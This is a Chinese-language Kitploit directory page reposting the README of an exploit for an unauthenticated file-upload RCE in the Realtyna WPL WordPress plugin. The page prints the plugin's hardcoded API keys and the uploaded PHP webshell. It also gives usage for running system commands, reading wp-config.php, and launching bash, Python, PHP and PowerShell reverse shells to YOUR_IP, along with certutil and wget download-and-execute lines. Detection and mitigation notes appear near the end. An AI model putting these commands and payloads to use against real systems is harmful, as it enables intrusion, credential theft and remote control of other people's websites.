Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13714 — 针对 Realtyna WPL < 5.3.0 的未认证 RCE 漏洞利用,可通过硬编码的 API 密钥上传 PHP WebShell 并执行任意系统命令。 | Kitploit
工具/GitHubGitHub/katransefa/cve-2026-13714
漏洞利用Web应用程序漏洞利用后渗透利用渗透测试Payload 开发
GitHubkatransefa/cve-2026-13714

CVE-2026-13714

针对 Realtyna WPL < 5.3.0 的未认证 RCE 漏洞利用,可通过硬编码的 API 密钥上传 PHP WebShell 并执行任意系统命令。

查看仓库
4天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Realtyna WPL < 5.3.0 - 未认证 RCE 漏洞利用

描述

此漏洞利用针对 Realtyna Organic IDX + WPL Real Estate 插件 5.3.0 之前的版本中的一个严重漏洞。该插件使用硬编码凭据,并允许未经认证的文件上传,从而导致远程代码执行(RCE)。

漏洞详情

  • CVE ID: CVE-2026-13714
  • 受影响版本: < 5.3.0
  • 类型: 未认证的任意文件上传导致 RCE
  • 研究人员: Thom Stackhouse

技术细节

该插件默认启用了 I/O API,并带有硬编码凭据:

  • io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
  • io_private_key = Eft76bdh0o2uyhJkbG3T

该 API 不验证文件类型,从而允许任意 PHP 文件上传。

安装

root@kitploit:~
# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit

# Install dependencies
pip install requests urllib3

用法

基本用法

root@kitploit:~
# Upload webshell only
python exploit.py -u https://target.com/wordpress

# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"

# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id"  # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo"  # Windows

常用命令

Linux 目标

root@kitploit:~
# System information
python exploit.py -u https://target.com -c "uname -a"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "ls -la"

# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"

Windows 目标

root@kitploit:~
# System information
python exploit.py -u https://target.com -c "systeminfo"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "dir"

# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"

高级用法

反弹 Shell(Linux)

root@kitploit:~
# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

反弹 Shell(Windows)

root@kitploit:~
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""

上传并执行自定义 Payload

root@kitploit:~
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"

# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"

漏洞利用流程

  1. 上传: 上传一个 PHP webshell (<?php system($_GET['c']); ?>)
  2. 位置: 文件保存到 wp-content/uploads/WPL/<ID>/shell.php
  3. 执行: 通过 shell.php?c=COMMAND 执行命令

检测

如何检测该漏洞利用

  • 检查 /wp-content/uploads/WPL/*/ 中是否有可疑文件
  • 监控包含以下参数的请求:wplview=io、wplformat=io、cmd=set_property
  • 查找带有硬编码凭据的可疑 API 请求

入侵迹象

  • 上传目录中出现意外的 PHP 文件
  • 包含系统命令的异常 Web 请求
  • WordPress 中出现新的管理员用户
  • 被修改的 .htaccess 文件

缓解措施

修复措施

  1. 立即更新到 WPL Real Estate 5.3.0 或更高版本
  2. 如果无法更新,请禁用 I/O API:
    root@kitploit:~
    // Add to wp-config.php
    define('WPL_IO_STATUS', 0);
    
  3. 更改硬编码凭据
  4. 实施适当的文件类型验证
  5. 限制文件上传目录

安全建议

  • 保持所有 WordPress 插件更新
  • 使用 Web 应用防火墙(WAF)
  • 定期进行安全审计
  • 监控文件上传目录
  • 禁用不必要的 API

截图

成功利用

root@kitploit:~
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg

免责声明

此漏洞利用仅供教育和授权测试使用。对您不拥有或未获准测试的系统进行未经授权的使用是违法的。作者对滥用行为不承担任何责任。

合法使用

  • 仅限在您自己拥有的系统上使用
  • 仅在获得明确书面许可的情况下使用
  • 遵循负责任披露规范
  • 向厂商报告漏洞

许可证

本项目仅供教育用途。请自行承担使用风险。

致谢

  • 原始研究人员: Thom Stackhouse
  • CVE: CVE-2026-13714
  • WPVDB ID: 69f9dcd8-ab3c-46ed-ac6b-2f1db35f8d1f

参考链接

  • WPScan 漏洞页面
  • CVE-2026-13714

更新日志

v1.0 (2026-08-17)

  • 初始版本
  • 未认证文件上传
  • 远程代码执行
  • 命令执行支持

贡献

欢迎提交 issue 和 pull request 以进行改进。

支持

如有问题或疑问,请在 GitHub 上提交 issue。


⚠️ 警告: 本工具仅供安全研究和教育用途。在测试任何系统之前,请务必获得适当授权。

下载工具